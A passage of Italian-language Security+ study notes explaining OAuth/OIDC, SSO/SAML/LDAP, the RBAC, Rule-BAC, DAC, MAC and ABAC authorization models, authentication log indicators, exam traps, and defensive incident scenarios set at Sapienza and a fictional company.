solo al Calendar, non all'email o a Drive. (scope limitato)\nImportant OAuth non puo' esistere senza autenticazione preventiva. Il login Google (passo 4) avviene prima di OAuth — Google autentica l'utente con i propri sistemi, poi OAuth gestisce l'autorizzazione. OAuth non sa chi sei — sa solo cosa sei autorizzato a fare.\n\u0026quot;Login o Continua con Google\u0026quot; su Spotify — cosa sta succedendo davvero:\nOAuth da solo autorizza ma non sa chi sei. OIDC aggiunge un ID token con le informazioni di identita'. Il \u0026quot;Continua con Google\u0026quot; li usa entrambi insieme.\nScenario Protocollo Cosa ottieni Spotify vuole aggiungere eventi al tuo Google Calendar OAuth da solo Token per accedere alla Calendar API — l'app non sa chi sei Spotify vuole fare login con Google (sapere chi sei) OAuth + OIDC Token OAuth + ID Token con nome, email, identita' — l'app sa chi sei Confronto SSO / SAML / OAuth / LDAP:\nProtocollo Scopo Formato Caso d'uso tipico SSO Un login per tutto Vari Accesso a piu' app aziendali (Google → Gmail, Drive, YouTube) LDAP Directory e query Protocollo TCP Active Directory, autenticazione Linux SAML SSO tra organizzazioni diverse XML Federation, B2B SSO (Sapienza → Microsoft 365) OAuth Autorizzare un app a usare risorse Token JSON App di terze parti (Spotify → Google Calendar) Authorization Models # Tutti controllano CHI puo' accedere a COSA. La differenza e' CHI decide i permessi e COME vengono applicati.\nConcetti base comuni a tutti i modelli:\nTermine Definizione Esempi Subject Chi accede — tipicamente utenti o gruppi. Occasionalmente un servizio che usa un service account. Mario, gruppo Sales, svc-sqlserver Object Cosa viene acceduto — le risorse a cui i subject vogliono accedere. File, cartelle, share di rete, stampanti, database Il controllo degli accessi determina come il sistema concede ai subject l'autorizzazione sugli object. Parte sempre dall'identificazione e autenticazione accurata del subject — senza sapere chi e' Mario, non puoi decidere a quali object puo' accedere.\nmindmap root((Authorization Models)) RBAC Ruoli e gruppi Admin crea ruoli Utenti assegnati ai ruoli Windows AD groups Hierarchy-based Job function-based Rule-BAC Regole in ACL Dinamico IPS modifica ACL dopo attacco Firewall rules DAC Il proprietario decide NTFS Windows SID identificatori DACL lista permessi ACE singola voce MAC Il sistema decide Label sensibilita Top Secret Secret Confidential Need to know Lattice gerarchia SELinux Enforcing Permissive Disabled ABAC Attributi multipli Subject Object Action Environment SDN cloud Piu granulare di RBAC RBAC — Role-Based Access Control # Il principio fondamentale: i permessi si assegnano al ruolo, non all'utente.\nL'admin non dice \u0026quot;Mario puo' accedere al server Sales\u0026quot; — dice \u0026quot;il ruolo Sales puo' accedere al server Sales\u0026quot;, poi aggiunge Mario al ruolo. Mario eredita tutto. Se Mario cambia reparto, basta toglierlo dal ruolo Sales e aggiungerlo al ruolo HR — i permessi seguono automaticamente, senza toccare i singoli file o risorse.\nModalita':\nHierarchy-based: ruoli alti includono i permessi dei ruoli inferiori (Administrator \u0026gt; Manager \u0026gt; User) Job/function-based: i ruoli rispecchiano le funzioni lavorative dell'organizzazione (Accounting, Sales, IT) Come funziona in pratica: L'organizzazione ha tre reparti con tre server separati. L'admin crea i ruoli Accounting, Sales, IT — assegna ogni ruolo al server corrispondente — aggiunge gli utenti ai ruoli in base al reparto. Il risultato: ogni utente accede solo al server del proprio reparto, senza configurare permessi per ogni singola persona.\nGroup-based privileges: gli admin creano security groups, assegnano permessi ai gruppi, aggiungono utenti ai gruppi.\nBuilt-in groups vs Custom groups:\nTipo Descrizione Esempi Windows Built-in Esistono gia' — pronti all'uso, non bisogna crearli Administrators, Backup Operators, Users Custom L'admin li crea per i bisogni specifici dell'organizzazione Sales, HR, Accounting, IT L'ordine corretto dei 3 passi — Gibson lo testa:\n1. Crea il gruppo (es. Sales) 2. Aggiungi il gruppo alla risorsa (es. cartella Sales) 3. Assegna i permessi al gruppo sulla risorsa → Solo dopo aggiungi gli utenti al gruppo L'ordine conta: prima esiste il gruppo, poi la risorsa, poi i permessi. Non aggiungi prima gli utenti.\nRimozione = revoca automatica: Quando togli un utente dal gruppo, perde automaticamente tutti i permessi del gruppo. Se invece i permessi fossero assegnati direttamente all'utente (senza gruppi), non ricorderesti mai cosa togliere quando cambia reparto — violazione di least privilege garantita.\nImportant Gli admin assegnano i privilegi ai gruppi. Gli utenti li ereditano. Mai assegnare permessi direttamente agli utenti — viola scalabilita' e least privilege.\nRBAC vs LDAP — non fanno la stessa cosa:\nLDAP RBAC Cos'e' Protocollo di comunicazione Modello di autorizzazione Fa Interroga il database degli utenti e dei gruppi Definisce come i permessi vengono assegnati in base ai ruoli Analogia Il linguaggio con cui parli all'anagrafe La politica che decide chi ha diritto a cosa Esempio con Mario alla Sapienza:\nIl PC usa LDAP per chiedere ad AD: \u0026quot;esiste mario.rossi? quali gruppi ha?\u0026quot; AD risponde via LDAP: \u0026quot;si', e' nel gruppo Students e nel gruppo MicrosoftLicensed\u0026quot; RBAC entra in gioco: il gruppo Students ha accesso a Moodle, il gruppo MicrosoftLicensed ha accesso a Teams LDAP e' il mezzo di trasporto — porta le informazioni. RBAC e' la logica — usa quelle informazioni per decidere i permessi. Senza LDAP non sai chi e' Mario. Senza RBAC non sai cosa puo' fare.\nRule-BAC — Rule-Based Access Control # Basato su un insieme di regole approvate in una ACLs (Access Control List). Le regole definiscono cosa e' permesso o negato. Possono essere statiche (create dall'admin, restano finche' non le cambia) o dinamiche (si modificano automaticamente in risposta a eventi).\nTre casi da ricordare:\nTipo Esempio Statica/Dinamica Firewall/router ACL Blocca Facebook (DENY outbound to facebook.com port 443) Statica — l'admin la crea, resta finche' non la cambia IPS anti-attacco Rileva brute force → aggiunge regola blocco IP attaccante automaticamente Dinamica — l'attacco triggera la modifica della regola Applicazione Se Marge e' assente → Homer ottiene permessi extra sul DB Dinamica — un evento triggera un cambio di permessi Important Rule-BAC e' basato su un insieme di istruzioni approvate (ACL). Alcuni sistemi usano regole dinamiche che scattano in risposta a un evento — come modificare le ACL dopo aver rilevato un attacco, o concedere permessi aggiuntivi in certe situazioni.\nExam trap — RBAC vs Rule-BAC: Si somigliano nel nome ma sono diversi. RBAC usa Ruoli (chi sei nell'organizzazione). Rule-BAC usa Regole in una ACL (firewall, IPS). La parola chiave nella domanda e' sempre \u0026quot;rules\u0026quot; o \u0026quot;ACL\u0026quot; per Rule-BAC, \u0026quot;roles\u0026quot; o \u0026quot;groups\u0026quot; per RBAC.\nDAC — Discretionary Access Control # Il proprietario dell'oggetto (come un file o una cartella) decide chi puo' accedervi. Windows usa DAC tramite il filesystem NTFS (New Technology File System) — il \u0026quot;NT\u0026quot; viene da Windows NT (1993), il progetto Microsoft che introdusse il nuovo kernel. FAT32 e exFAT non supportano permessi per utente — solo NTFS li supporta.\nAnalogia Linux: DAC su Windows e' lo stesso concetto di chmod e chown su Linux.\nLinux Windows NTFS Cosa fa chown SID (proprietario) Definisce chi e' il proprietario del file chmod DACL con ACE Definisce i permessi per ogni utente/gruppo UID numerico (uid=1000) SID (S-1-5-21-...) Identificatore interno del sistema rwxrwxrwx (3 categorie fisse) ACE per ogni utente/gruppo (granulare) I livelli di permesso NTFS e' piu' granulare di Linux: invece di tre categorie fisse (owner/group/others), puoi definire ACE diverse per ogni singolo utente nella DACL.\nOgni file/cartella ha:\nUn proprietario identificato dal SID (Security Identifier) — equivalente del UID su Linux (S-1-5-21-399187189-223218) Una DACL (Discretionary Access Control List) — la lista dei permessi, composta da ACE Esempio DACL con quattro ACE (Access Control Entry):\nACE 1: Homer — Full Control ACE 2: Marge — Read ACE 3: Bart — Modify ACE 4: Everyone — Deny Il sistema usa il SID internamente, non il nome account. Rinominare \u0026quot;Homer\u0026quot; in \u0026quot;Barney\u0026quot; non cambia i permessi — stesso comportamento di Linux, dove rinominare un utente non cambia il suo UID.\nStruttura DAC — i tre elementi:\nTermine Espansione Cosa e' SID Security Identifier L'identita' numerica del proprietario (come UID su Linux) ACE Access Control Entry Una singola riga di permesso per un utente/gruppo DACL Discretionary Access Control List La lista completa di tutte le ACE di un oggetto La DACL e' il contenitore — le ACE sono le voci dentro. Ogni file/cartella NTFS ha esattamente una DACL, che puo' contenere zero o piu' ACE.\nImportant Il DAC scheme specifica che ogni oggetto ha un proprietario, e il proprietario ha controllo esplicito e completo sull'oggetto. NTFS usa DAC. Se crei un file, sei il proprietario e hai Full Control — puoi modificare la DACL aggiungendo utenti e assegnando i permessi che vuoi, senza chiedere a nessuno.\nDAC vs MAC — differenza chiave: Con DAC il proprietario decide — se vuoi dare accesso a un file che possiedi, fai la modifica e l'altro utente ha accesso. Con MAC i permessi sono predefiniti dal sistema e solo l'amministratore puo' cambiarli — il proprietario non ha questo potere.\nPermessi NTFS in ordine crescente:\nPermesso Cosa permette Read Leggere il contenuto Read \u0026amp; Execute Leggere + eseguire file eseguibili Write Modificare il contenuto (non cancellare) Modify Read + Write + Delete Full Control Tutto + cambiare permessi e proprieta' MAC — Mandatory Access Control # Il MAC scheme usa label di sicurezza (chiamate anche sensitivity labels) per classificare sia gli utenti (subject) che i dati (object). Quando le label corrispondono, il sistema concede l'accesso. Quando non corrispondono, blocca. Il proprietario non puo' cambiare i permessi — solo l'amministratore puo' farlo, su indicazione del security professional.\nImportant MAC usa sensitivity labels su utenti e dati. E' comunemente usato quando l'accesso deve essere ristretto in base al need to know. Le sensitivity labels riflettono i livelli di classificazione dei dati e le clearance concesse alle persone.\nCosa sono le Label:\nNel MAC ogni oggetto (file, cartella, risorsa) e ogni soggetto (utente) riceve una label — un'etichetta di sicurezza assegnata dal sistema. La label ha due componenti:\nComponente Cosa indica Esempio Livello Quanto e' sensibile la risorsa TOP SECRET, SECRET, CONFIDENTIAL, UNCLASSIFIED Compartimento A quale progetto o area appartiene QUANTUM-PHYSICS, NUCLEAR-SCIENCE, ANAGRAFE La label completa e' la combinazione dei due: SECRET / QUANTUM-PHYSICS. Il sistema confronta la label del soggetto con la label dell'oggetto — se entrambi i componenti corrispondono, accesso concesso. Se uno dei due non corrisponde, accesso negato senza eccezioni.\nLattice (reticolo) e Need to Know — con Mario alla Sapienza:\nLa Sapienza gestisce dati con un sistema MAC. I livelli di classificazione formano il reticolo:\ngraph TD CL[\"CLASSIFICATO Ricerca militare / difesa\"] RIS[\"RISERVATO Compartimenti: QUANTUM-PHYSICS NUCLEAR-SCIENCE / ANAGRAFE\"] INT[\"INTERNO Materiale didattico Comunicazioni facolta\"] PUB[\"PUBBLICO Sito web / orari / programmi\"] CL --\u003e RIS --\u003e INT --\u003e PUB style CL fill:#e74c3c,color:#fff style RIS fill:#e67e22,color:#fff style INT fill:#f39c12,color:#fff style PUB fill:#27ae60,color:#fff Mario e' un dottorando in Fisica Quantistica. Il sistema gli assegna la label: RISERVATO / QUANTUM-PHYSICS.\nRisorsa Label richiesta Label di Mario Accesso Dati Fisica Quantistica RISERVATO / QUANTUM-PHYSICS RISERVATO / QUANTUM-PHYSICS ✅ Dati Scienze Nucleari RISERVATO / NUCLEAR-SCIENCE RISERVATO / QUANTUM-PHYSICS ❌ compartimento diverso Dati studenti / esami RISERVATO / ANAGRAFE RISERVATO / QUANTUM-PHYSICS ❌ compartimento diverso Ricerca militare CLASSIFICATO / DIFESA RISERVATO / QUANTUM-PHYSICS ❌ clearance insufficiente Orari e programmi PUBBLICO RISERVATO / QUANTUM-PHYSICS ✅ livello superiore include inferiori *Clearance = autorizzazione di sicurezza, nulla osta.\nNeed to Know: avere la clearance giusta non basta — serve anche il compartimento giusto. Mario ha clearance RISERVATO ma non puo' leggere i dati di NUCLEAR-SCIENCE perche' non e' nel suo compartimento. Il professore che supervisiona Mario non puo' dargli accesso — nel MAC il proprietario non decide. Solo l'amministratore puo' farlo, su indicazione del security professional.\nTip La regola da ricordare: l'accesso in MAC e' dato dall'intersezione delle label. Livello giusto AND compartimento giusto → accesso ✅ Livello giusto AND compartimento sbagliato → accesso ❌ Livello sbagliato AND compartimento giusto → accesso ❌ Una sola condizione non basta — entrambe devono essere vere. Nessun umano puo' fare eccezioni.\nEstablishing Access — chi fa cosa:\nNel MAC, l'accesso non viene configurato dal proprietario del file — il processo e' formale e separato:\nIl security professional definisce i compartimenti e le label, coordina con enti governativi superiori per upgrade/downgrade di clearance L'amministratore implementa tecnicamente — assegna le label sui sistemi seguendo le indicazioni del security professional Il proprietario del file non assegna permessi — i permessi sono predefiniti dal sistema Se un utente ha bisogno di accesso diverso, l'amministratore puo' approvare o negare la richiesta. La modifica richiede spesso approvazioni a piu' livelli — non e' immediata come nel DAC.\nDifferenza chiave con DAC: nel DAC se vuoi dare accesso a un file che possiedi, lo fai tu direttamente. Nel MAC non puoi — l'accesso e' deciso dal sistema in base alle label, non dalla tua discrezionalita'.\nLattice (reticolo) — la struttura matematica:\nIl lattice — in italiano reticolo — e' una struttura che definisce la gerarchia di tutti i livelli e compartimenti e le loro relazioni. La stessa parola usata in fisica per il reticolo cristallino: nodi collegati in una struttura ordinata con relazioni definite. In MAC ogni livello e' un nodo, le connessioni definiscono chi e' sopra e chi e' sotto. Ogni livello sa esattamente chi e' sopra e chi e' sotto. Con i compartimenti il lattice non e' piu' una linea verticale ma una griglia — SECRET/QUANTUM e SECRET/NUCLEAR sono allo stesso livello ma \u0026quot;incomparabili\u0026quot;: nessuno dei due domina l'altro.\nIl lattice impone due regole fondamentali (modello Bell-LaPadula):\nRegola Nome formale Significato No read up Simple Security Property Non puoi leggere dati di livello superiore al tuo No write down Star Property (*) Non puoi scrivere dati a livello inferiore al tuo No write down e' la regola piu' importante — esiste per prevenire la fuga di informazioni. Se Mario ha accesso a dati CLASSIFICATI non puo' copiarli in una cartella PUBBLICA, neanche per errore. Il sistema blocca fisicamente la scrittura verso il basso.\nCLASSIFICATO ← puoi leggere da qui in giu\u0026#39; se hai questa clearance | RISERVATO ← puoi scrivere da qui in su\u0026#39; se sei a questo livello | INTERNO | PUBBLICO Note Per Security+ non serve conoscere il nome Bell-LaPadula. Ma \u0026quot;no read up\u0026quot; e \u0026quot;no write down\u0026quot; possono comparire in una domanda come comportamento del MAC.\nSELinux — MAC su Linux:\nSELinux (Security-Enhanced Linux) e' una delle implementazioni MAC piu' diffuse su Linux. E' uno dei pochi sistemi operativi che usa il mandatory access control scheme. In Windows, il controllo degli accessi discrezionale (DAC) e' il modello standard — MAC non e' il default.\nModalita' Comportamento Enforcing Applica la policy SELinux — nega l'accesso e logga le violazioni Permissive NON nega ma logga tutto — utile per fare debug di una policy prima di attivarla Disabled SELinux completamente disattivato — nessuna policy applicata Warning MAC ha tre significati distinti in Security+ — non confonderli:\nMandatory Access Control — questo modello di autorizzazione MAC address — Media Access Control — indirizzo fisico di rete (Layer 2) Message Authentication Code — crittografia — garantisce integrita' del messaggio ABAC — Attribute-Based Access Control # Un sistema ABAC valuta gli attributi di subject, object, action e environment e concede l'accesso quando il sistema trova una corrispondenza con la policy. Gli attributi possono essere qualsiasi cosa — ruolo, stato, orario, posizione, tipo di dispositivo.\nImportant ABAC usa attributi definiti nelle policy per concedere accesso alle risorse. E' comunemente usato nei Software-Defined Networks (SDN). Ha molta flessibilita' e puo' applicare policy sia DAC che MAC.\nI quattro elementi di ogni access request:\ngraph LR S[\"SUBJECT Chi accede Attributi: ruolo, gruppo, reparto, stato, clearance\"] --\u003e P{Policy Engine Valuta gli attributi} O[\"OBJECT Cosa viene accesso Attributi: tipo, classificazione, sensibilita', proprieta'\"] --\u003e P A[\"ACTION Cosa vuole fare Leggere, scrivere, eseguire, cancellare\"] --\u003e P E[\"ENVIRONMENT Contesto Orario, posizione, dispositivo, protocollo\"] --\u003e P P --\u003e|Match| Y[Accesso Concesso] P --\u003e|No match| N[Accesso Negato] style Y fill:#27ae60,color:#fff style N fill:#e74c3c,color:#fff I quattro elementi — con Mario alla Sapienza:\nElemento Cos'e' Esempio con Mario Subject Chi fa la richiesta — qualsiasi proprieta' dell'utente puo' essere un attributo Mario: dottorando=true, dipartimento=fisica, clearance=riservato Object La risorsa a cui vuole accedere — file, database, sito web File dati ricerca: tipo=ricerca, classificazione=riservato, compartimento=quantum-physics Action Cosa vuole fare sulla risorsa leggere — potrebbe poter leggere ma non modificare o cancellare Environment Il contesto della richiesta — tutto fuori da subject e object rete=sapienza, orario=lun-ven 8-20, dispositivo=pc-universitario La policy ABAC che governa l'accesso ai dati di ricerca alla Sapienza:\nSE subject.dottorando = true AND object.compartimento = subject.dipartimento AND action = \u0026#34;leggere\u0026#34; AND environment.rete = \u0026#34;sapienza\u0026#34; AND environment.orario = \u0026#34;lun-ven 8-20\u0026#34; ALLORA → accesso concesso Mario corrisponde → accesso ai dati di Fisica Quantistica ✅ Uno studente triennale (dottorando=false) → accesso negato ❌ Mario da casa fuori rete universitaria → accesso negato ❌ (environment non corrisponde)\nMolti SDN usano ABAC. Le policy usano statement in plain language: \u0026quot;Allow logged-on researchers to access research sites via the main network.\u0026quot;\nABAC vs MAC — differenza chiave:\nNel MAC il sistema usa label fisse predefinite dall'admin In ABAC il system owner puo' creare policy e assegnare attributi — molto piu' flessibile ABAC puo' emulare sia DAC che MAC a seconda di come si configurano le policy Confronto finale modelli # Modello Chi decide Flessibilita' Esempio RBAC Admin Media AD Rule-BAC Admin Alta Firewall DAC Utente (proprietario) Alta NTFS MAC Sistema Bassa SELinux ABAC Policy Alta SDN Analyzing Authentication Indicators # mindmap root((Auth Indicators)) Account lockout Brute force Dictionary attack Concurrent session Stesso utente piu sistemi Account compromesso Impossible travel Login fisicamente impossibile Account compromesso Blocked content Filtri bloccano accessi inusuali Malware verso C2 Resource consumption CPU memoria anomali Cryptominer ransomware Log anomalies Log mancanti o cancellati Attaccante copre tracce Out-of-cycle logging Attivita notturna o weekend Accesso non autorizzato I log di autenticazione rivelano comportamenti anomali. Il SOC li monitora per rilevare account compromessi.\ngraph TD LOG[Log di Autenticazione] --\u003e I1[Account Lockout Brute force o dictionary attack] LOG --\u003e I2[Concurrent Session Usage Stesso utente piu sistemi Account compromesso o condiviso] LOG --\u003e I3[Impossible Travel Time Login fisicamente impossibile Account compromesso] LOG --\u003e I4[Blocked Content Filtri bloccano accessi inusuali Malware verso C2] LOG --\u003e I5[Resource Consumption CPU memoria anomali Malware o cryptominer] LOG --\u003e I6[Resource Inaccessibility Servizi non disponibili Malware interferisce] LOG --\u003e I7[Log Anomalies Log mancanti o volumi anomali Attaccante copre tracce] LOG --\u003e I8[Out-of-Cycle Logging Attivita in orari inusuali Accesso notturno non autorizzato] style I1 fill:#e74c3c,color:#fff style I3 fill:#e74c3c,color:#fff style I4 fill:#e67e22,color:#fff style I7 fill:#8e44ad,color:#fff Indicatore Segnale Possibile causa Account lockout Account bloccato per tentativi falliti Brute force, dictionary attack Concurrent session usage Stesso utente loggato da piu' sistemi contemporaneamente Account compromesso o condiviso illegalmente Impossible travel time Login da due luoghi impossibili nella stessa finestra temporale Account compromesso Blocked content Filtri bloccano accessi inusuali o siti non consentiti Malware che tenta connessioni a C2 Resource consumption CPU/memoria/storage anomali senza spiegazione Malware, cryptominer, ransomware in cifratura Resource inaccessibility Servizi improvvisamente non disponibili Malware che interferisce con processi di sistema Log anomalies Log con volumi anomali, log mancanti, voci fuori orario Attaccante che copre le tracce o cancella evidence Out-of-cycle logging Log generati in orari inusuali Attivita' non autorizzata notturna o nel weekend Chapter 2 Topic Review — Gibson # Riepilogo ufficiale Gibson — punti chiave per l'esame.\nAutenticazione:\nIdentification: username, email, biometria- Authentication: prova dell'identita' — password, smart card, token Authorization: fornisce accesso alle risorse in base all'identita' provata Accounting: traccia l'attivita' dell'utente nei log 4 fattori: Know (password, PIN, KBA) / Have (smart card, token) / Are (biometria) / Somewhere (posizione) I password manager semplificano la gestione delle credenziali — il sistema memorizza e compila automaticamente Le push notification sono usate per 2FA — friendly e non disruptive perche' l'utente deve premere un tasto Account lockout policy blocca l'account dopo troppi tentativi falliti — difesa anti brute force Le password di default vanno cambiate su ogni device e applicazione prima del deployment FAR = tasso di falsa accettazione / FRR = tasso di falso rifiuto / CER = punto di equilibrio — CER piu' basso = sistema piu' accurato HOTP e TOTP sono standard open-source per OTP. HOTP non scade, TOTP scade dopo 30-60 secondi Single-factor: un fattore. Dual-factor (2FA): due fattori. Multi-factor (MFA): due o piu' fattori — piu' forte di qualsiasi autenticazione single-factor Gestione Account:\nGli utenti non devono condividere account — gli account condivisi impediscono identification, authorization e accounting individuali PAM implementa controlli stringenti sugli account privilegiati — include just-in-time access, password vaulting, ephemeral credentials Gli admin devono avere due account separati (normale + privilegiato) per prevenire privilege escalation Account disablement policy: gli account inattivi di chi lascia l'organizzazione vanno disabilitati il prima possibile Time-of-day restrictions: impediscono login o accesso a risorse di rete fuori dagli orari autorizzati Account audit: verifica i permessi assegnati agli utenti Confronto Authentication Services:\nSSO: un account, accesso a piu' risorse senza riautenticarsi SSO puo' usare un federated database — un'identita' su una rete viene trattata come trusted su un'altra Kerberos: SSO per reti interne (Active Directory, Unix realm) — usa ticket invece di password. NON usato su Internet. SAML: standard XML per SSO su applicazioni web tra organizzazioni diverse — questo e' usato su Internet e in federation OAuth: standard aperto per l'autorizzazione — consente login con Google, Facebook, PayPal, Microsoft, Twitter. Usa API calls e token per mostrare che l'accesso e' autorizzato RADIUS: AAA (Authentication, Authorization, Accounting) per accesso remoto, reti cablate e wireless — VPN, Wi-Fi aziendale, switch, router. Non e' per applicazioni web. Confronto Modelli di Autorizzazione:\nRole-BAC: usa ruoli per concedere accesso basato su job functions o tasks. I privilegi sono assegnati ai gruppi (group-based privileges) Rule-BAC: basato su ACL con regole approvate. Alcune implementazioni usano regole dinamiche — modificano le ACL dopo aver rilevato un attacco, o concedono permessi aggiuntivi in certe situazioni DAC: ogni oggetto ha un proprietario che ha full explicit control. NTFS usa DAC — ogni file ha una DACL che identifica chi puo' accedervi e con quali permessi MAC: usa security/sensitivity labels su utenti e dati. Accesso ristretto in base al need to know. Le label riflettono livelli di classificazione e clearance ABAC: valuta attributi di subject, object, action e environment e concede accesso quando trova corrispondenza. Comune nei SDN. Alta flessibilita' — puo' applicare policy sia DAC che MAC Trappole d'Esame — Parole chiave che cambiano la risposta # mindmap root((Trappole Esame)) logs vs verifies logs records = Accounting non MFA verifies blocks = fattore auth Stesso fattore Are+Are = single factor Know+Know = single factor OAuth trappola Auth = Authorization NON authentication Identita serve OIDC Disabilita non cancellare Cancellare distrugge chiavi crittografiche RBAC vs Rule-BAC roles groups = RBAC rules ACL = Rule-BAC MAC clearance Clearance non basta Serve anche compartimento Deprovisioning timing Licenziamento = subito Dimissioni = exit interview Trappola 1 — \u0026quot;logs\u0026quot; vs \u0026quot;verifies\u0026quot; Se la domanda dice che il sistema registra (logs, records, tracks, monitors) qualcosa — non e' un fattore di autenticazione, e' accounting. Se la domanda dice che il sistema verifica o richiede (verifies, requires, must provide, blocks if not) — quello e' un fattore.\nParola nella domanda Significato \u0026quot;logs\u0026quot;, \u0026quot;records\u0026quot;, \u0026quot;tracks\u0026quot;, \u0026quot;monitors\u0026quot; Accounting — NON e' un fattore MFA \u0026quot;verifies\u0026quot;, \u0026quot;requires\u0026quot;, \u0026quot;blocks\u0026quot;, \u0026quot;must provide\u0026quot; Fattore di autenticazione Esempio trappola: \u0026quot;L'app registra la posizione GPS dell'utente\u0026quot; → One-factor (solo username+password). Il GPS e' un log, non autentica. Se dicesse \u0026quot;L'app blocca l'accesso se l'utente non e' nella rete aziendale\u0026quot; → Two-factor (know + somewhere).\nDettaglio aggiuntivo dal libro: Something you have = una fonte di informazione in tuo possesso. Il GPS non e' in tuo possesso — e' l'app che lo legge. Un token fisico, uno smartphone, una smart card sono in tuo possesso. Questo e' il secondo motivo per cui il GPS loggato non conta come fattore.\nTrappola 2 — stesso fattore ≠ MFA Due fattori della stessa categoria non sono MFA, anche se sembrano \u0026quot;cose diverse\u0026quot;. Thumbprint + retinal scan = Are + Are = single factor. Password + PIN = Know + Know = single factor.\nTrappola 3 — OAuth si chiama \u0026quot;Auth\u0026quot; ma non autentica \u0026quot;Auth\u0026quot; in OAuth = Authorization, non Authentication. OAuth autorizza un'app ad accedere a risorse — non verifica chi sei. Per l'identita' serve OpenID Connect sopra OAuth.\nTrappola 4 — disabilitare non cancellare Al termine di un dipendente: sempre disabilitare, mai cancellare subito. Cancellare distrugge le chiavi crittografiche — i file cifrati diventano inaccessibili per sempre.\nTrappola 5 — RBAC vs Rule-BAC Si somigliano nel nome. RBAC = Ruoli (chi sei). Rule-BAC = Regole in ACL (firewall, IPS). La parola chiave nella domanda: \u0026quot;roles/groups\u0026quot; → RBAC. \u0026quot;rules/ACL\u0026quot; → Rule-BAC.\nTrappola 6 — clearance non basta nel MAC Avere la clearance giusta non garantisce l'accesso. Serve anche il compartimento giusto (need to know). L'accesso e' dato dall'intersezione: livello giusto AND compartimento giusto.\nTrappola 7 — timing del deprovisioning L'account si disabilita quando il rapporto di lavoro termina effettivamente — non quando viene annunciato.\nLicenziamento immediato → disabilita subito, prima che lasci l'edificio Dimissioni con preavviso → disabilita all'exit interview (l'ultimo giorno, non il giorno dell'annuncio) Exit interview = colloquio formale con HR l'ultimo giorno lavorativo — si consegnano badge e laptop, si firmano i documenti di fine rapporto. NON e' il momento in cui il dipendente annuncia che se ne va — quello puo' essere 2 settimane prima. Se Artie annuncia lunedi' e l'ultimo giorno e' venerdi' tra due settimane, l'account va disabilitato venerdi', non lunedi'.\nDomande Esplose — Barno's Questions # Q: OAuth autentica o autorizza? A: Autorizza. \u0026quot;Auth\u0026quot; in OAuth = Authorization, NON Authentication. Il nome inganna deliberatamente. SAML fa entrambe, OAuth solo authorization.\nQ: Thumbprint + retinal scan e' 2FA? A: No. Entrambi appartengono a \u0026quot;something you are\u0026quot;. Servono due fattori di categorie DIVERSE.\nQ: Disabilitare o cancellare un account al termine? A: Disabilitare. Cancellare un account distrugge le chiavi crittografiche — tutti i file cifrati diventano inaccessibili per sempre.\nQ: Differenza RBAC e Rule-BAC? A: RBAC usa ruoli (chi sei nell'organizzazione). Rule-BAC usa regole in ACL (firewall, IPS). Facile confonderli — RBAC = Role, Rule-BAC = Rule.\nQ: Mario ha clearance RISERVATO ma non puo' leggere un documento RISERVATO di un altro compartimento. Come? A: Need to Know. La clearance da' il livello, ma serve anche il compartimento giusto. MAC usa sia livello sia compartimento — l'accesso e' dato dall'intersezione di entrambi.\nQ: Il sistema registra la posizione GPS dell'utente durante il login. E' 2FA? A: No. \u0026quot;Logs\u0026quot; = accounting, non autenticazione. Per essere un fattore MFA il sistema deve verificare e bloccare l'accesso in base a quella cosa. Se la registra solo, non e' un fattore.\nScenari Reali # Scenario 1 — Authentication Indicators + PAM + MFA\nIl SOC rileva un alert: login all'account svc-sqlserver alle 02:47 da un IP in Romania (impossible travel — l'ultimo login era dalla sede italiana 10 minuti prima). Il PAM registra che nessun admin ha richiesto just-in-time access. L'attaccante ha rubato le credenziali del service account (something you know — vulnerabile). Con MFA sul service account, il furto della sola password non sarebbe bastato. Il SIEM correla: stesso IP ha anche tentato brute force su altri 3 account → account lockout attivato → alert escalato al tier 2.\nScenario 2 — Deprovisioning mancato + Account Lifecycle\nL'audit trimestrale rileva che luca.ferrari@azienda.it e' ancora attivo nel dominio AD con accesso completo ai sistemi HR e Finance. Luca ha lasciato l'azienda 47 giorni fa. Il deprovisioning non e' stato eseguito perche' il manager non ha notificato l'IT prima che Luca lasciasse l'edificio. In quei 47 giorni i log mostrano 3 accessi ai report finanziari dell'ultimo trimestre — tutti dall'IP VPN di Luca. Azione immediata: disabilitare l'account (non cancellare — ci sono file cifrati con le sue chiavi). Lezione: il deprovisioning deve essere automatizzato e legato al sistema HR, non dipendere da una notifica manuale.\nScenario 3 — Privilege Creep + RBAC + Audit\nL'audit annuale dei permessi rivela che sara.bianchi ha accesso a: cartella Sales (dal 2022, quando era in Sales), cartella HR (dal 2023, quando e' passata a HR), cartella Finance (dal 2024, aggiunto per un progetto temporaneo mai revocato) e gruppo IT-Admins (nessuno sa perche'). Sara lavora in HR da 18 mesi ma ha accumulato i permessi di 4 reparti diversi — classico privilege creep. L'admin rimuove i 3 gruppi extra, documenta nel ticket. L'audit ha funzionato esattamente come previsto.\nScenario 4 — SSO compromesso + Concurrent Session\nIl SIEM genera un alert: marco.russo risulta loggato contemporaneamente da Milano (ufficio) e da Amsterdam (IP residenziale anonimo) — concurrent session usage. L'attaccante ha rubato il token SSO di Marco dopo che Marco aveva cliccato su un link di phishing. Con il token SSO valido, l'attaccante ha accesso a tutti i servizi del dominio — Outlook, SharePoint, il gestionale CRM — senza bisogno della password. Il SOC invalida la sessione SSO di Marco, forza il re-login con MFA, e isola la workstation per analisi. Lezione: SSO amplifica il danno di un token rubato — per questo richiede MFA forte.\nScenario 5 — Deprovisioning Federato + SAML\nMario si laurea alla Sapienza il 15 marzo. L'HR della Sapienza disabilita il suo account nel proprio AD il giorno stesso. Alle 09:47 del 16 marzo Mario tenta di accedere a Microsoft Teams con le sue credenziali universitarie. Il token SAML non viene emesso — l'IdP (Sapienza) rifiuta l'autenticazione perche' l'account e' disabilitato. Accesso negato su Microsoft 365, Coursera, Zoom e tutte le biblioteche digitali simultaneamente, senza che nessun admin abbia toccato quei sistemi. Questo e' il vantaggio operativo della federation: un solo deprovisioning sull'IdP, effetto su tutti i Service Provider federati.\nScenario 6 — Violazione MAC + Need to Know\nMario (dottorando in Fisica Quantistica, label RISERVATO/QUANTUM-PHYSICS) tenta di aprire un dataset del gruppo di Scienze Nucleari condiviso su un server universitario. Il sistema MAC confronta le label: object = RISERVATO/NUCLEAR-SCIENCE, subject = RISERVATO/QUANTUM-PHYSICS — compartimento non corrisponde → accesso negato e tentativo loggato. Mario chiede al suo professore di dargli accesso \u0026quot;temporaneo\u0026quot;. Il professore non puo' — nel MAC il proprietario non ha discrezionalita'. La richiesta deve passare per il security professional della Sapienza che valuta il need to know. Il processo richiede 5 giorni lavorativi. Nel frattempo il tentativo di accesso negato e' gia' 